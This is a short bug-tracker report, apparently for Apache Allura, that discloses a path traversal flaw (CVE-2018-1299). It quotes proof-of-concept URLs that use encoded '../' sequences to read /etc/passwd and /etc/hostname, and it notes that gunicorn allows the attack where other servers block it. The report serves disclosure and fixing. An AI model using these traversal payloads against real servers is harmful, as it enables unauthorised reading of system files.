From reporter:
The vulnerability allows unauthenticated attackers to retrieve
arbitrary files from the Allura web server.PoC URsL:
http://<allura-web-server>/nf/1276635823/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
http://<allura-web-server>/nf/1276635823/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhostname
The %2F does't seem necessary in my testing. The paster, nginx and apache/mod_wsgi servers seem to protect against this, but gunicorn (which we recommend for production) permits the vulnerability.
This has been assigned CVE-2018-1299
Log in to post a comment.